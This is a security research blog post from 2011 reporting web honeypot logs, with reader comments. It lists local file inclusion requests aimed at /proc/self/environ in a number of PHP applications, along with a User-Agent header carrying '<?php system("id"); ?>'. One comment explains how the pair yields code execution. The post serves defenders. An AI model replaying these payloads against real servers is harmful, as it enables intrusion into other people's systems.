[Honeypot Alert] User Agent Field Arbitrary PHP Code Execution

While reviewing today's web honeypot logs, SpiderLabs Research identified two new attack variations.

Focus on Local File Inclusion attacks

Here are some of the LFI attack payloads identified today:

GET /_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /ashnews.php?pathtoashnews=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /b2-tools/gm-2-b2.php?b2inc=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /catalog/shopping_cart.php?_ID=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /cpcommerce/_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /e107/e107_handlers/secure_img_render.php?p=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /eblog/blog.inc.php?xoopsConfig[xoops_url]=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /include/new-visitor.inc.php?lvc_include_dir=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /includes/include_once.php?include_file=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /modules/agendax/addevent.inc.php?agendax_path=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /modules/agendax/addevent.inc.php?agendax_path=../../../../../../../proc/self/environ%00 HTTP/1.1
GET /modules/coppermine/themes/default/theme.php?THEME_DIR=../../../../../../../proc/self/environ%00 HTTP/1.1

User-Agent Field PHP Code Execution

While these new probes are interesting, what was even more interesting was the fact that all of these requests also attempted to execute PHP code from within the User-Agent request header.  They all had this exact same payload:

208.79.79.14 - - [21/Dec/2011:04:23:10 -0500] "GET /_functions.php?prefix=../../../../../../../proc/self/environ%00 HTTP/1.1" 404 294 "-" "<?php system(\"id\"); ?>"

This attack vector attemps to execute PHP code when applications evaluate the User-Agent field data and do not do proper input validation.  While this attack vector itself is not new, this is the first time we have seen it actively used against our honeypots.

Key Lesson

For security, you must inspect all attack vector locations including request headers and cookie payloads.  Care should be taken any time client data is processed.  Remember - Users are Evil!  You can not trust user data and/or assume that it has not be manipulated is some way.

Comments

[Lamar Spells]

I have seen the same LFI and code injection attacks discussed here and today yet more PHP attacks. This time, an attempt to exploit phpthumb via CVE-2010-1598.

Full details along with IPs seen are at: http://foxtrot7security.blogspot.com/2011/12/new-attempts-to-exploit-old-phpthumb.html

Anyone else see a big uptick in this activity today?

[Jonoberheide]

The attack vector isn't targeting web apps that eval the User-Agent field, but is instead using a technique to turn LFIs into pseudo-RFIs.

Many web apps (eg. PHP w/FastCGI) will pass the User-Agent field upstream to the PHP processor as a environment variable (eg. HTTP_USER_AGENT). Since that environment variable will be present in the process' /proc/self/environ file and the attacker controls the content of the env var, the attacker will control of the content of the local file (despite it being a virtual procfs), reference it in the LFI, and be able to execute arbitrary code.

[Unspecific]

I recently dealt with one of these attacks on a site. The encoded portion of the useragent contained an upload form and due to improper permissions in the web directory they were able to upload a shell. It was interesting to follow. It appears to have started back in October. The owner of the site kept cleaning it up and getting hit again. They assumed that because they had an extension on the verification of the existence of the file name ($var + ".htm") before including it this attack would not work. Is it partly a problem with how PHP handles the null (%00)?